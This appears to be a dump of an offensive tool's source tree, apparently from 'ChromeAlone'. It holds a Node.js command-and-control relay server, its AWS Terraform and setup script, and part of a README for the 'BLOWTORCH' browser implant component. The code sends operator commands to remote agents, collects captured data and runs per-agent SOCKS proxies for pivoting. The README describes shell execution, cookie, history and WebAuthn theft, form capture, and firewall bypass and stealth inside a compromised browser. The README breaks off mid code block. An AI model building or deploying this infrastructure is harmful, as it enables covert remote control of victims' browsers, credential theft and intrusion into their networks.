this.socksServers = new Map();
// Captured data
this.capturedData = new Map(); // agentId -> array of captured data
// Task management
this.taskQueues = new Map(); // agentId -> array of tasks
this.tasks = new Map(); // taskId -> task object
this.taskResults = new Map(); // taskId -> result object
// Server-Sent Events clients
this.sseClients = new Set(); // Set of SSE response objects
this.setupHealthCheck();
this.setupControlServer();
this.setupSocksServer();
}
setupHealthCheck() {
this.app.get('/health', (req, res) => {
res.json({
status: 'healthy',
activeAgents: this.agents.size,
activeConnections: this.connections.size,
allocatedPorts: this.portMap.size
});
});
}
setupControlServer() {
// Create a standard HTTP server for the control endpoint
const controlApp = express();
const controlServer = http.createServer(controlApp);
// CORS middleware
controlApp.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept, Authorization');
// Handle preflight requests
if (req.method === 'OPTIONS') {
res.sendStatus(200);
} else {
next();
}
});
// Basic authentication middleware
const basicAuth = (req, res, next) => {
// Skip basic auth for /events endpoint (uses query param auth instead)
if (req.path === '/events') {
return next();
}
// Check for basic auth header
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Basic ')) {
res.setHeader('WWW-Authenticate', 'Basic');
return res.status(401).json({ error: 'Authentication required' });
}
// Verify credentials
const base64Credentials = authHeader.split(' ')[1];
const credentials = Buffer.from(base64Credentials, 'base64').toString('ascii');
const [username, password] = credentials.split(':');
const isValid = username === process.env.PROXY_USER &&
password === process.env.PROXY_PASS;
logger.info({
event: 'control_server_auth_attempt',
username,
success: isValid
});
if (!isValid) {
return res.status(401).json({ error: 'Invalid authentication credentials' });
}
next();
};
// Apply auth middleware to all routes
controlApp.use(basicAuth);
// Add JSON parsing middleware
controlApp.use(express.json({ limit: '10mb' }));
// Parse a command from the request body, the request contains:
// The command object to relay
// The IP of the agent to relay the command to
// It will return the taskId of the command
controlApp.post('/command', (req, res) => {
try {
const { command, payload, agentIp } = req.body;
if (!command || !agentIp) {
return res.status(400).json({
error: 'Missing required fields: command, agentIp'
});
}
// Find agent by IP
let targetAgentId = null;
for (const [agentId, agent] of this.agents.entries()) {
if (agent.remoteAddress === agentIp) {
targetAgentId = agentId;
break;
}
}
if (!targetAgentId) {
return res.status(404).json({
error: `No active agent found for IP: ${agentIp}`
});
}
const agentPort = this.getPortForAgent(agentIp);
let targetAgent = null;
for (const [id, agent] of this.agents.entries()) {
if (agent.port === agentPort) {
targetAgent = agent.ws;
break;
}
}
if (!targetAgent) {
return res.status(503).json({
error: `No active agent found for IP: ${agentIp} on port: ${agentPort}`
});
}
// Generate task ID
const taskId = crypto.randomUUID();
// Create task object
const task = {
taskId,
command,
payload: payload || {},
agentId: targetAgentId,
agentIp,
status: 'queued',
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString()
};
targetAgent.send(JSON.stringify({
type: 'command',
taskId,
command,
payload
}));
// Store task
this.tasks.set(taskId, task);
// Add to agent's queue
if (!this.taskQueues.has(targetAgentId)) {
this.taskQueues.set(targetAgentId, []);
}
this.taskQueues.get(targetAgentId).push(task);
// Broadcast task queued via SSE
this.broadcastSSE('task_queued', {
taskId,
command,
agentIp,
status: 'queued'
});
logger.info({
event: 'command_queued',
taskId,
command,
agentId: targetAgentId,
agentIp
});
res.json({
taskId,
status: 'queued',
message: 'Command queued successfully'
});
} catch (error) {
logger.error({
event: 'command_queue_error',
error: error.message
});
res.status(500).json({
error: 'Internal server error'
});
}
});
// Task status endpoint
controlApp.get('/task/:taskId', (req, res) => {
try {
const { taskId } = req.params;
if (!taskId) {
return res.status(400).json({
error: 'Missing taskId parameter'
});
}
const task = this.tasks.get(taskId);
if (!task) {
return res.status(404).json({
error: 'Task not found'
});
}
// Include result if available
const result = this.taskResults.get(taskId);
const response = {
taskId: task.taskId,
command: task.command,
status: task.status,
createdAt: task.createdAt,
updatedAt: task.updatedAt,
agentIp: task.agentIp
};
if (result) {
response.result = result;
}
res.json(response);
} catch (error) {
logger.error({
event: 'task_status_error',
error: error.message
});
res.status(500).json({
error: 'Internal server error'
});
}
});
// Control endpoint
controlApp.get('/info', (req, res) => {
const agentInfo = [];
const processedIps = new Set();
// Add active agents
for (const [agentId, agent] of this.agents.entries()) {
const ip = agent.remoteAddress;
processedIps.add(ip);
const port = this.getPortForAgent(ip);
const connectionCount = Array.from(this.connections.values())
.filter(conn => conn.agent === agent.ws).length;
agentInfo.push({
agentId,
ip,
port,
active: true,
connectionCount,
lastSeen: agent.lastSeen
});
}
// Add inactive but previously seen agents
for (const [ip, portData] of this.portMap.entries()) {
// Skip IPs we've already processed (active agents)
if (processedIps.has(ip)) {
continue;
}
// Get the agent ID for this IP if it exists
let agentId = "unknown";
if (this.ipToAgentId.has(ip)) {
agentId = this.ipToAgentId.get(ip);
}
agentInfo.push({
agentId,
ip,
port: portData.port,
active: false,
lastSeen: portData.lastSeen
});
}
res.json(agentInfo);
});
// Server-Sent Events endpoint for task completion notifications
// Note: EventSource doesn't support custom headers, so we use query param auth
controlApp.get('/events', (req, res) => {
// Check for auth via query parameter since EventSource can't send headers
const authToken = req.query.auth;
if (!authToken) {
return res.status(401).json({ error: 'Missing auth token' });
}
// Decode and verify the auth token (should be base64 encoded "username:password")
try {
const credentials = Buffer.from(authToken, 'base64').toString('ascii');
const [username, password] = credentials.split(':');
const isValid = username === process.env.PROXY_USER &&
password === process.env.PROXY_PASS;
if (!isValid) {
return res.status(401).json({ error: 'Invalid authentication credentials' });
}
} catch (err) {
return res.status(401).json({ error: 'Invalid auth token format' });
}
// Set headers for SSE
res.writeHead(200, {
'Content-Type': 'text/event-stream',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': 'Cache-Control'
});
// Send initial connection message
res.write('data: {"type": "connected", "message": "Connected to task events"}\n\n');
// Add client to the set
this.sseClients.add(res);
logger.info({
event: 'sse_client_connected',
clientCount: this.sseClients.size
});
// Handle client disconnect
req.on('close', () => {
this.sseClients.delete(res);
logger.info({
event: 'sse_client_disconnected',
clientCount: this.sseClients.size
});
});
req.on('error', (err) => {
logger.error({
event: 'sse_client_error',
error: err.message
});
this.sseClients.delete(res);
});
});
// Start the control server on port 1080
controlServer.listen(1080, '0.0.0.0', () => {
logger.info({
event: 'control_server_started',
port: 1080
});
});
}
setupSocksServer() {
let key, cert;
try {
key = fs.readFileSync('/opt/relay-server/certs/key.pem');
cert = fs.readFileSync('/opt/relay-server/certs/cert.pem');
} catch (err) {
logger.warn({
event: 'no_certificate_found',
error: err.message
});
const attrs = [{ name: 'commonName', value: 'localhost' }];
const pems = selfsigned.generate(attrs, {
days: 365,
keySize: 2048,
algorithm: 'sha256'
});
key = pems.private;
cert = pems.cert;
}
const httpsServer = https.createServer({
key: key,
cert: cert
});
this.wss = new WebSocket.Server({ server: httpsServer });
this.wss.on('connection', (ws, req) => {
const remoteAddress = req.socket.remoteAddress;
let isAuthorized = false;
const authHeader = req.headers['authorization'];
if (authHeader && authHeader.startsWith('Bearer ')) {
const token = authHeader.slice(7);
if (token === process.env.RELAY_TOKEN) {
isAuthorized = true;
}
}
if (!isAuthorized) {
const protocols = req.headers['sec-websocket-protocol'];
if (protocols) {
const protocolList = protocols.split(',').map(p => p.trim());
for (const protocol of protocolList) {
if (protocol.startsWith('token.')) {
const token = protocol.slice(6);
if (token === process.env.RELAY_TOKEN) {
isAuthorized = true;
break;
}
}
}
}
}
if (!isAuthorized) {
logger.warn({
event: 'invalid_auth_attempt',
ip: remoteAddress,
hasAuthHeader: !!authHeader,
hasProtocols: !!req.headers['sec-websocket-protocol']
});
ws.close();
return;
}
// Check if we already have an agent ID for this IP
let agentId;
let isReconnect = false;
if (this.ipToAgentId.has(remoteAddress)) {
// Reuse the existing agent ID
agentId = this.ipToAgentId.get(remoteAddress);
isReconnect = true;
// If there's an existing connection with this agent ID, close it
const existingAgent = this.agents.get(agentId);
if (existingAgent && existingAgent.ws && existingAgent.ws !== ws) {
logger.info({
event: 'replacing_existing_connection',
agentId,
ip: remoteAddress
});
// Close the existing connection gracefully
try {
existingAgent.ws.close();
} catch (err) {
// Ignore errors when closing
}
}
} else {
// Generate a new agent ID for this IP
agentId = crypto.randomUUID();
this.ipToAgentId.set(remoteAddress, agentId);
}
const agentInfo = {
ws,
remoteAddress,
lastSeen: Date.now(),
port: this.getPortForAgent(remoteAddress)
};
this.agents.set(agentId, agentInfo);
this.ensureSocksServerForAgent(agentId, agentInfo);
logger.info({
event: isReconnect ? 'agent_reconnected' : 'agent_connected',
agentId,
ip: remoteAddress,
port: agentInfo.port
});
ws.on('message', (message) => {
if (this.agents.has(agentId)) {
this.agents.get(agentId).lastSeen = Date.now();
if (this.portMap.has(remoteAddress)) {
this.portMap.get(remoteAddress).lastSeen = Date.now();
}
}
try {
const data = JSON.parse(message.toString());
const connection = this.connections.get(data.connectionId);
if (data.type === 'command_response') {
this.taskResults.set(data.taskId, data.payload);
// Get task info for the SSE event
const task = this.tasks.get(data.taskId);
// Broadcast task completion via SSE
this.broadcastSSE('task_completed', {
taskId: data.taskId,
command: task ? task.command : 'unknown',
agentIp: task ? task.agentIp : 'unknown',
result: data.payload,
status: 'completed'
});
logger.debug({
event: 'command_response',
taskId: data.taskId,
payload: data.payload
});
return;
} else if (data.type === 'captured_data') {
if (!this.capturedData.has(agentId)) {
this.capturedData.set(agentId, []);
}
this.capturedData.get(agentId).push(data);
// Get agent info for the SSE event
const agent = this.agents.get(agentId);
// Broadcast captured data via SSE
this.broadcastSSE('captured_data', {
agentId,
agentIp: agent ? agent.remoteAddress : 'unknown',
data: data.data,
dataType: data.dataType,
timestamp: new Date().toISOString()
});
logger.debug({
event: 'captured_data',
agentId,
data: data.data,
dataType: data.dataType
});
return;
}
if (connection && data.type === 'data') {
const msgId = data.msgId || crypto.randomBytes(4).toString('hex');
logger.debug({
event: 'agent_data',
connectionId: data.connectionId,
msgId,
originalMsgId: data.originalMsgId,
dataLength: Buffer.from(data.data, 'base64').length,
dataPreview: Buffer.from(data.data, 'base64').slice(0, 100).toString('hex')
});
const buffer = Buffer.from(data.data, 'base64');
try {
if (!connection.socket.destroyed) {
connection.socket.write(buffer, (err) => {
if (err) {
logger.error({
event: 'socket_write_error',
connectionId: data.connectionId,
msgId,
error: err.message
});
this.cleanupConnection(data.connectionId);
} else {
logger.debug({
event: 'data_sent_succesfully',
connectionId: data.connectionId,
msgId,
dataLength: buffer.length })
}
});
} else {
logger.warn({
event: 'socket_destroyed',
connectionId: data.connectionId
});
this.cleanupConnection(data.connectionId);
}
} catch (err) {
logger.error({
event: 'socket_write_exception',
connectionId: data.connectionId,
error: err.message
});
this.cleanupConnection(data.connectionId);
}
} else if (connection && data.type === 'close') {
logger.info({
event: 'agent_close_request',
connectionId: data.connectionId
});
this.cleanupConnection(data.connectionId);
} else if (!connection && data.type === 'data') {
logger.debug({
event: 'late_data',
connectionId: data.connectionId
});
} else {
logger.warn({
event: 'unhandled_message',
type: data.type,
connectionId: data.connectionId,
hasConnection: !!connection
});
}
} catch (err) {
logger.error({
event: 'message_processing_error',
error: err.message,
message: message.toString()
});
}
});
ws.on('close', () => {
logger.info({
event: 'agent_disconnected',
agentId,
ip: remoteAddress,
port: agentInfo.port
});
if (this.portMap.has(remoteAddress)) {
this.portMap.get(remoteAddress).lastSeen = Date.now();
}
// Close all connections for this agent
for (const [connectionId, connection] of this.connections.entries()) {
if (connection.agent === ws) {
this.cleanupConnection(connectionId);
}
}
// Remove the agent but keep the IP to agent ID mapping
this.agents.delete(agentId);
// Note: We intentionally don't remove the IP to agent ID mapping
// so that if this IP reconnects, it will get the same agent ID
});
const pingInterval = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
ws.ping();
} else {
clearInterval(pingInterval);
}
}, 30000);
ws.on('pong', () => {
ws.isAlive = true;
if (this.agents.has(agentId)) {
this.agents.get(agentId).lastSeen = Date.now();
if (this.portMap.has(remoteAddress)) {
this.portMap.get(remoteAddress).lastSeen = Date.now();
}
}
});
});
httpsServer.listen(process.env.PORT, '0.0.0.0', () => {
logger.info({
event: 'websocket_server_started',
port: process.env.PORT
});
});
setInterval(() => {
this.checkStaleConnections();
}, 60000);
}
getPortForAgent(agentIp) {
if (this.portMap.has(agentIp)) {
return this.portMap.get(agentIp).port;
}
const usedPorts = new Set(Array.from(this.portMap.values()).map(data => data.port));
for (let port = this.portRange.start; port <= this.portRange.end; port++) {
if (!usedPorts.has(port)) {
this.portMap.set(agentIp, {
port,
lastSeen: Date.now()
});
return port;
}
}
logger.error({
event: 'port_allocation_failed',
ip: agentIp,
message: 'All ports in range are allocated'
});
return this.portRange.start;
}
ensureSocksServerForAgent(agentId, agentInfo) {
const port = agentInfo.port;
if (this.socksServers.has(port)) {
return;
}
const socksServer = socks.createServer((info, accept, deny) => {
const connectionId = crypto.randomUUID();
let targetAgent = null;
for (const [id, agent] of this.agents.entries()) {
if (agent.port === port) {
targetAgent = agent.ws;
break;
}
}
if (!targetAgent) {
logger.error({
event: 'no_agent_for_port',
port,
address: info.dstAddr,
port: info.dstPort
});
return deny();
}
const socket = accept(true);
this.connections.set(connectionId, {
socket,
agent: targetAgent,
address: info.dstAddr,
port: info.dstPort,
createdAt: Date.now()
});
logger.info({
event: 'new_connection',
connectionId,
address: info.dstAddr,
port: info.dstPort,
agentPort: port
});
targetAgent.send(JSON.stringify({
type: 'connect',
connectionId,
targetHost: info.dstAddr,
targetPort: info.dstPort
}));
socket.on('data', (data) => {
const clientMsgId = crypto.randomBytes(4).toString('hex');
const buffer = Buffer.from(data);
logger.debug({
event: 'client_data',
connectionId,
msgId: clientMsgId,
dataLength: data.length,
data: data.length > 100 ? data.slice(0, 100).toString('hex') : data.toString('hex')
});
if (this.connections.has(connectionId)) {
targetAgent.send(JSON.stringify({
type: 'data',
connectionId,
msgId: clientMsgId,
data: buffer.toString('base64')
}));
}
});
socket.on('end', () => {
targetAgent.send(JSON.stringify({
type: 'close',
connectionId
}));
});
socket.on('error', (err) => {
logger.error({
event: 'socket_error',
connectionId,
error: err.message
});
targetAgent.send(JSON.stringify({
type: 'close',
connectionId
}));
});
});
socksServer.useAuth(socks.auth.UserPassword((user, password, cb) => {
const isValid = user === process.env.PROXY_USER &&
password === process.env.PROXY_PASS;
logger.info({
event: 'proxy_auth_attempt',
username: user,
port,
validUser: user === process.env.PROXY_USER,
validPass: password === process.env.PROXY_PASS,
success: isValid
});
cb(isValid);
}));
socksServer.listen(port, '0.0.0.0', () => {
logger.info({
event: 'socks_server_started',
port,
agentId
});
this.socksServers.set(port, socksServer);
});
}
cleanupConnection(connectionId) {
const connection = this.connections.get(connectionId);
if (connection) {
connection.socket.destroy();
this.connections.delete(connectionId);
if (connection.agent.readyState === WebSocket.OPEN) {
connection.agent.send(JSON.stringify({
type: 'close',
connectionId
}));
}
logger.info({
event: 'connection_closed',
connectionId
});
}
}
validateAuth(authHeader) {
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return false;
}
const token = authHeader.slice(7);
return token === process.env.RELAY_TOKEN;
}
checkStaleConnections() {
const now = Date.now();
for (const [connectionId, connection] of this.connections.entries()) {
if (now - connection.createdAt > 12 * 60 * 60 * 1000) {
logger.info({
event: 'cleaning_stale_connection',
connectionId,
age: (now - connection.createdAt) / 1000
});
this.cleanupConnection(connectionId);
}
}
}
// Broadcast event to all SSE clients
broadcastSSE(eventType, data) {
if (this.sseClients.size === 0) return;
const eventData = JSON.stringify({
type: eventType,
timestamp: new Date().toISOString(),
...data
});
// Remove disconnected clients
const disconnectedClients = new Set();
for (const client of this.sseClients) {
try {
client.write(`data: ${eventData}\n\n`);
} catch (err) {
logger.error({
event: 'sse_broadcast_error',
error: err.message
});
disconnectedClients.add(client);
}
}
// Clean up disconnected clients
for (const client of disconnectedClients) {
this.sseClients.delete(client);
}
logger.debug({
event: 'sse_broadcast',
eventType,
clientCount: this.sseClients.size,
data
});
}
}
process.on('uncaughtException', (err) => {
logger.error({
event: 'uncaught_exception',
error: err.message,
stack: err.stack
});
});
process.on('unhandledRejection', (reason, promise) => {
logger.error({
event: 'unhandled_rejection',
error: reason
});
});
const relay = new RelayServer();
+181
View File
@@ -0,0 +1,181 @@
#!/bin/bash
set -e # Exit on any error
# Log setup progress
exec 1> >(logger -s -t $(basename $0)) 2>&1
echo "Starting relay server setup..."
# Check if we're running as root
if [ "$EUID" -ne 0 ]; then
echo "Error: Must run as root"
exit 1
fi
yum update -y
echo "System packages updated"
yum install -y nodejs npm git libcap certbot
echo "Node.js and dependencies installed"
# Configure certbot if domain is provided
if [ -n "${domain_name}" ]; then
echo "Configuring TLS certificate for ${domain_name}..."
# Stop any service that might be using port 80
systemctl stop nginx 2>/dev/null || true
# Get certificate
certbot certonly --standalone \
--non-interactive \
--agree-tos \
--email admin@${domain_name} \
--domains ${domain_name} \
--preferred-challenges http
# Create certbot group if it doesn't exist
groupadd -f certbot
# Add ec2-user to certbot group
usermod -a -G certbot ec2-user
# Set group permissions on Let's Encrypt directory
chgrp -R certbot /etc/letsencrypt
chmod -R g+rX /etc/letsencrypt
# Set up auto-renewal
echo "0 0,12 * * * root python -c 'import random; import time; time.sleep(random.random() * 3600)' && certbot renew -q" | sudo tee -a /etc/crontab > /dev/null
# Create symlinks for Node.js
mkdir -p /opt/relay-server/certs
ln -sf /etc/letsencrypt/live/${domain_name}/fullchain.pem /opt/relay-server/certs/cert.pem
ln -sf /etc/letsencrypt/live/${domain_name}/privkey.pem /opt/relay-server/certs/key.pem
# Set permissions
chown -R ec2-user:ec2-user /opt/relay-server/certs
fi
# Create app directory
echo "Creating application directory..."
mkdir -p /opt/relay-server
if [ ! -d "/opt/relay-server" ]; then
echo "Error: Failed to create /opt/relay-server"
exit 1
fi
cd /opt/relay-server
echo "Current directory: $(pwd)"
# Create environment file
echo "Creating environment file..."
cat << EOF > .env
RELAY_TOKEN=${relay_token}
PROXY_USER=${proxy_user}
PROXY_PASS=${proxy_pass}
PORT=443
NODE_ENV=production
EOF
if [ ! -f ".env" ]; then
echo "Error: Failed to create .env file"
exit 1
fi
# Copy server.js from the same directory
echo "Creating server.js..."
cat << 'EOFJS' > server.js
${server_js}
EOFJS
if [ ! -f "server.js" ]; then
echo "Error: Failed to create server.js"
exit 1
fi
# Create package.json
echo "Creating package.json..."
cat << 'EOF' > package.json
{
"name": "relay-server",
"version": "1.0.0",
"description": "Secure SOCKS5 relay server",
"main": "server.js",
"scripts": {
"start": "node server.js",
"test": "echo \"Error: no test specified\" && exit 1"
}
}
EOF
# Install dependencies
echo "Installing npm dependencies..."
npm install dotenv
npm install express
npm install socksv5
npm install winston
npm install ws
npm install selfsigned
# Allow Node.js to bind to privileged ports
echo "Setting capabilities for Node.js..."
NODEJS_BINARY=$(readlink -f $(which node))
echo "Node.js binary location: $NODEJS_BINARY"
setcap 'cap_net_bind_service=+ep' "$NODEJS_BINARY"
# Verify the capability was set
getcap "$NODEJS_BINARY"
# Set permissions
echo "Setting permissions..."
chown -R ec2-user:ec2-user /opt/relay-server
chmod 600 /opt/relay-server/.env
# Setup log rotation
echo "Configuring log rotation..."
cat << EOF > /etc/logrotate.d/relay-server
/opt/relay-server/*.log {
daily
rotate 7
compress
delaycompress
missingok
notifempty
create 640 ec2-user ec2-user
size 10M
}
EOF
# Create systemd service
echo "Creating systemd service..."
cat << EOF > /etc/systemd/system/relay-server.service
[Unit]
Description=Relay Server
After=network.target
[Service]
Type=simple
User=ec2-user
WorkingDirectory=/opt/relay-server
Environment=PATH=/usr/bin:/usr/local/bin
ExecStart=/usr/bin/npm start
Restart=always
StandardOutput=append:/opt/relay-server/relay-server.log
StandardError=append:/opt/relay-server/relay-server-error.log
[Install]
WantedBy=multi-user.target
EOF
# Set permissions and enable service
chmod 644 /etc/systemd/system/relay-server.service
systemctl daemon-reload
systemctl enable relay-server
systemctl start relay-server
# Final checks
if [ ! -f "/opt/relay-server/server.js" ] || [ ! -f "/opt/relay-server/.env" ]; then
echo "Error: Critical files missing after setup"
ls -la /opt/relay-server/
exit 1
fi
echo "Setup complete"
+136
View File
@@ -0,0 +1,136 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 5.0"
}
}
required_version = ">= 1.2.0"
}
provider "aws" {
region = var.aws_region
}
# Security Group
resource "aws_security_group" "relay_sg" {
name = "relay-security-group"
description = "Security group for relay server"
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = [var.office_ip_range]
description = "SSH access from office"
}
ingress {
from_port = 1080
to_port = 1181
protocol = "tcp"
cidr_blocks = [var.office_ip_range]
description = "SOCKS proxy access from office"
}
ingress {
from_port = 8080
to_port = 8080
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
description = "WebSocket access for agents"
}
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
description = "HTTPS access for WebSocket over TLS"
}
ingress {
from_port = 80
to_port = 80
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
description = "HTTP for LetsEncrypt validation"
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
description = "Allow all outbound traffic"
}
tags = {
Name = "relay-sg"
}
}
# EC2 Instance
resource "aws_instance" "relay_server" {
ami = var.ami_id
instance_type = var.instance_type
vpc_security_group_ids = [aws_security_group.relay_sg.id]
key_name = var.key_name
associate_public_ip_address = true
root_block_device {
volume_size = 20
volume_type = "gp3"
encrypted = true
}
user_data_base64 = base64gzip(templatefile("${path.module}/files/setup.sh", {
relay_token = var.relay_token
proxy_user = var.proxy_user
proxy_pass = var.proxy_pass
server_js = file("${path.module}/files/server.js")
domain_name = var.domain_name
}))
user_data_replace_on_change = true
metadata_options {
http_endpoint = "enabled"
http_tokens = "required"
http_put_response_hop_limit = 1
}
tags = {
Name = "relay-server"
}
}
# Elastic IP
resource "aws_eip" "relay_ip" {
tags = {
Name = "relay-eip"
}
}
resource "aws_eip_association" "relay_eip_assoc" {
instance_id = aws_instance.relay_server.id
allocation_id = aws_eip.relay_ip.id
}
# Get the hosted zone ID if domain is provided
data "aws_route53_zone" "selected" {
count = var.domain_name != "" ? 1 : 0
name = regex(".[^.]+.[^.]+$", var.domain_name) # Get parent domain
private_zone = false
}
# Create DNS record if domain is provided
resource "aws_route53_record" "relay" {
count = var.domain_name != "" ? 1 : 0
zone_id = data.aws_route53_zone.selected[0].zone_id
name = var.domain_name
type = "A"
ttl = "300"
records = [aws_eip.relay_ip.public_ip]
}
+20
View File
@@ -0,0 +1,20 @@
output "relay_public_ip" {
description = "Public IP of the relay server"
value = aws_eip.relay_ip.public_ip
}
output "relay_websocket_url" {
description = "WebSocket URL for agent connections"
value = var.domain_name != "" ? "wss://${var.domain_name}:443" : "ws://${aws_eip.relay_ip.public_ip}:8080"
sensitive = true
}
output "socks_proxy_address" {
description = "SOCKS proxy address"
value = "${aws_eip.relay_ip.public_ip}:1080"
}
output "relay_instance_id" {
description = "Instance ID of the relay server"
value = aws_instance.relay_server.id
}
+56
View File
@@ -0,0 +1,56 @@
variable "aws_region" {
description = "AWS region to deploy resources"
type = string
default = "us-west-2"
}
variable "office_ip_range" {
description = "CIDR block for office IP range"
type = string
validation {
condition = can(cidrhost(var.office_ip_range, 0))
error_message = "The office_ip_range must be a valid CIDR block"
}
}
variable "ami_id" {
description = "AMI ID for relay server"
type = string
default = "ami-0e0bf53f6def86294" # Amazon Linux 2023 for us-east-2
}
variable "instance_type" {
description = "EC2 instance type"
type = string
default = "t3.micro"
}
variable "key_name" {
description = "Name of SSH key pair"
type = string
}
variable "relay_token" {
description = "Authentication token for relay server"
type = string
sensitive = true
}
variable "proxy_user" {
description = "Username for SOCKS proxy"
type = string
sensitive = true
}
variable "proxy_pass" {
description = "Password for SOCKS proxy"
type = string
sensitive = true
}
variable "domain_name" {
description = "Domain name to use for the relay server (e.g., relay.example.com)"
type = string
default = "" # Optional, deployment will work without a domain
}
+308
View File
@@ -0,0 +1,308 @@
# BLOWTORCH - Isolated Web App Communication Hub
## Overview
BLOWTORCH is ChromeAlone's central communication component that serves as the bridge between the cloud C2 infrastructure, the Isolated Web App (IWA), and the HOTWHEELS Chrome extension. It leverages Chrome's experimental Direct Sockets API to enable sophisticated networking capabilities and cross-component communication within the browser.
## What is BLOWTORCH?
BLOWTORCH implements a three-part architecture responsible for:
1. **Cloud C2 Communications** - Establishes secure WebSocket connections to ChromeAlone's cloud C2 server for command and control
2. **IWA-Extension Bridge** - Provides a WebSocket server to enable communication between the BLOWTORCH IWA and HOTWHEELS Chrome extension
3. **SOCKS Proxy Server** - Acts as a SOCKS proxy for traffic relayed from the cloud server, enabling full network pivoting capabilities
## Technical Deep Dive
### Understanding Chrome's Direct Sockets API
#### Traditional Browser Network Limitations
Historically, web browsers enforce strict networking restrictions:
**Same-Origin Policy**:
- JavaScript can only make requests to the same origin (protocol + domain + port)
- Cross-origin requests require explicit server permission via CORS headers
- No access to raw TCP/UDP sockets from web content
**Network Isolation**:
- Web content cannot create listening servers
- No access to local network interfaces or low-level networking
- All communications must go through browser's networking stack
#### Direct Sockets API Revolution
Chrome's experimental Direct Sockets API breaks these traditional limitations:
**TCPServerSocket API**:
```javascript
const server = new TCPServerSocket('::'); // Listen on all interfaces
const {readable, localAddress, localPort} = await server.opened;
```
**TCPSocket API**:
```javascript
const socket = new TCPSocket(remoteAddress, remotePort);
const {readable, writable} = await socket.opened;
```
**Capabilities Enabled**:
- Create TCP server sockets that listen for incoming connections
- Establish outbound TCP connections to arbitrary hosts and ports
- Handle raw binary data streams
- Implement custom network protocols
#### Browser Context Advantages
Running networking code in the browser provides unique advantages:
**Firewall Bypass**:
- Browser traffic is typically allowed through corporate firewalls
- User-level firewall exceptions already exist for browser processes
- Network monitoring may not inspect browser-internal communications
**Persistence and Stealth**:
- Networking code runs within legitimate browser processes
- No separate network services to detect or monitor
- Can leverage browser's existing network authentication and proxies
### BLOWTORCH Architecture
#### Three-Part Communication System
BLOWTORCH operates as a central communication hub with three distinct responsibilities:
#### 1. Cloud C2 Communications (`src/socks-server.js`)
**Primary Responsibility**: Establishes and maintains secure WebSocket connections to ChromeAlone's cloud C2 server.
**Key Features**:
- Authenticates with cloud C2 using relay tokens
- Receives commands from operators via WebSocket protocol
- Routes commands to appropriate execution context (IWA or Extension)
- Implements automatic reconnection with exponential backoff
- Handles command types: `ls`, `shell`, `cookies`, `history`, `webauthn`
**Command Flow**:
```javascript
// Received from Cloud C2
{type: 'command', command: 'cookies', payload: {...}, taskId: 'task_123'}
// Routed to Extension via WebSocket Server
{type: 'dump_cookies_request', data: {...}, taskId: 'task_123'}
```
#### 2. IWA-Extension Bridge (`src/websocket-server.js` - FirecrackerWebSocketServer)
**Primary Responsibility**: Enables communication between the BLOWTORCH IWA and HOTWHEELS Chrome extension.
**Key Features**:
- Runs WebSocket server on high port (default: 38899) using Direct Sockets API
- Accepts connections from HOTWHEELS extension
- Relays commands from C2 server to extension
- Forwards extension responses back to C2 server
- Supports message chunking for large data transfers
- Handles WebSocket protocol handshake and frame processing
**Communication Bridge**:
```javascript
// IWA receives command from C2
window.broadcastToFirecracker(JSON.stringify(commandObject));
// WebSocket server forwards to HOTWHEELS extension
await server.sendWebSocketMessage(connectionInfo, message);
```
#### 3. SOCKS Proxy Server (`src/socks-server.js`)
**Primary Responsibility**: Acts as a SOCKS5 proxy for network traffic relayed from the cloud server.
**Key Features**:
- Implements full SOCKS5 protocol compliance
- Handles IPv4, IPv6, and domain name address types
- Establishes direct TCP connections using Direct Sockets API
- Tunnels all SOCKS traffic through WebSocket connection to C2
- Enables network pivoting through compromised browser
- Supports connection multiplexing for concurrent sessions
#### Component Integration Flow
**Operational Flow**:
1. **Initialization** (`src/main.js`, `src/app.js`):
- BLOWTORCH IWA starts and establishes WebSocket connection to cloud C2
- FirecrackerWebSocketServer starts listening on port 38899
- HOTWHEELS extension connects to FirecrackerWebSocketServer
2. **Command Execution**:
- Cloud C2 sends command via WebSocket to BLOWTORCH
- BLOWTORCH determines execution context (IWA vs Extension)
- Commands requiring extension capabilities are forwarded via WebSocket server
- Extension executes command and sends response back through the chain
3. **SOCKS Proxying**:
- External tools connect to SOCKS proxy (when enabled)
- SOCKS connections are tunneled through WebSocket to cloud C2
- Cloud C2 establishes actual network connections and relays data
- Bidirectional data flow enables full network pivoting
**Message Types Handled**:
- `command` - C2 commands for execution
- `form_data` - Captured form submissions
- `ls_command_response` - Directory listing results
- `shell_command_response` - Shell command output
- `dump_cookies_response` - Browser cookie data
- `dump_history_response` - Browser history data
- `webauthn_response` - WebAuthn credential data
### Technical Implementation Details
#### WebSocket Communication Protocols
**C2 to IWA Protocol**:
BLOWTORCH uses WebSocket subprotocol with token authentication:
```javascript
const ws = new WebSocket(url.toString(), [`token.${this.relayToken}`]);
```
**IWA to Extension Protocol**:
FirecrackerWebSocketServer implements standard WebSocket handshake:
```javascript
// WebSocket handshake with proper Sec-WebSocket-Accept
const acceptKey = await this.generateAcceptKey(clientKey);
const response = [
'HTTP/1.1 101 Switching Protocols',
'Upgrade: websocket',
'Connection: Upgrade',
`Sec-WebSocket-Accept: ${acceptKey}`
].join('\r\n');
```
#### Message Chunking Support
For large data transfers, BLOWTORCH implements chunking:
```javascript
// Chunk start message
{type: 'chunk_start', chunkId: 'unique_id', totalSize: 1024000}
// Chunk data messages
{type: 'chunk_data', chunkId: 'unique_id', chunkNum: 0, data: 'base64_data'}
// Chunk end message
{type: 'chunk_end', chunkId: 'unique_id', totalChunks: 10}
```
#### SOCKS Tunneling Protocol
**SOCKS Connection Multiplexing**:
```javascript
